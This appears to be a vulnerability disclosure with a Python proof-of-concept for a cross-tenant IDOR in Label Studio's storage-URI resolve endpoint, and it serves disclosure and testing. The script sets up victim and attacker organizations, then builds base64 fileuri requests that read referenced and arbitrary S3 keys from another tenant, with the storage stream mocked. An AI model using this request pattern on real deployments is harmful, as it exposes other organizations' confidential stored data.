Cross-organization IDOR in storage-URI resolve/proxy endpoints → arbitrary cross-tenant cloud-storage object read

Attacker active org == victim org? False
referenced-file: status=200 leaked=True
arbitrary-key:   status=200 leaked=True   (object NOT in task.data)
Org-filtered queryset exposes victim task? False (should be False)

#!/usr/bin/env python3
"""
PoC: cross-org IDOR in label-studio storage-URI resolve endpoints
(label_studio/io_storages/proxy_api.py TaskResolveStorageUri/ProjectResolveStorageUri:
 bare pk lookup, no org filter; Community has_permission() == True).
Setup: python -m venv lsvenv && lsvenv/bin/pip install -e ./label-studio
Run:   DATABASE_NAME=/tmp/ls_poc.sqlite3 lsvenv/bin/python poc_cross_org_idor.py
       (adjust the sys.path.insert below to point at <repo>/label_studio)
"""
import os, sys, base64
sys.path.insert(0, os.path.expanduser("~/Downloads/label-studio/label_studio"))
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "core.settings.label_studio")
os.environ.setdefault("LABEL_STUDIO_BASE_DATA_DIR", "/tmp/ls_poc_data")
os.environ.setdefault("DATABASE_NAME", "/tmp/ls_poc.sqlite3")
os.makedirs("/tmp/ls_poc_data", exist_ok=True)

import django; django.setup()
from django.core.management import call_command
call_command("migrate", run_syncdb=True, verbosity=0)

from django.test import RequestFactory
from unittest import mock
from organizations.models import Organization
from projects.models import Project
from tasks.models import Task
from io_storages.s3.models import S3ImportStorage
from users.models import User
from io_storages.proxy_api import TaskResolveStorageUri

userA = User.objects.create(email="[email protected]")
orgA = Organization.create_organization(created_by=userA, title="OrgA"); userA.active_organization = orgA; userA.save()
projA = Project.objects.create(title="SecretProjA", organization=orgA, created_by=userA)
S3ImportStorage.objects.create(project=projA, bucket="victim-secret-bucket", prefix="", presign=False, title="victimS3")
SECRET = "s3://victim-secret-bucket/confidential/patient-records.json"
taskA = Task.objects.create(project=projA, data={"image": SECRET})

userB = User.objects.create(email="[email protected]")
orgB = Organization.create_organization(created_by=userB, title="OrgB"); userB.active_organization = orgB; userB.save()
print("attacker org == victim org?", userB.active_organization_id == orgA.id)

rf = RequestFactory(); view = TaskResolveStorageUri.as_view()
class FakeStream:
    def iter_chunks(self, chunk_size=None): yield b"TOP-SECRET PATIENT RECORDS (cross-org leak)\n"
def fake_stream(uri, range_header=None):
    return FakeStream(), "application/json", {"StatusCode": 200, "ETag": '"x"'}

def attack(uri, label):
    b64 = base64.urlsafe_b64encode(uri.encode()).decode()
    req = rf.get(f"/tasks/{taskA.id}/resolve/?fileuri={b64}"); req.user = userB
    with mock.patch.object(S3ImportStorage, "get_bytes_stream", side_effect=fake_stream):
        resp = view(req, task_id=taskA.id)
    body = b"".join(resp.streaming_content) if hasattr(resp, "streaming_content") else resp.content
    print(f"[{label}] status={resp.status_code} leaked={resp.status_code==200 and b'TOP-SECRET' in body}")

attack(SECRET, "referenced-file")
attack("s3://victim-secret-bucket/some/OTHER/unreferenced-key.csv", "arbitrary-key")
visible = Task.objects.filter(project__organization=userB.active_organization).filter(pk=taskA.id).exists()
print("org-filtered queryset exposes victim task?", visible, "(should be False)")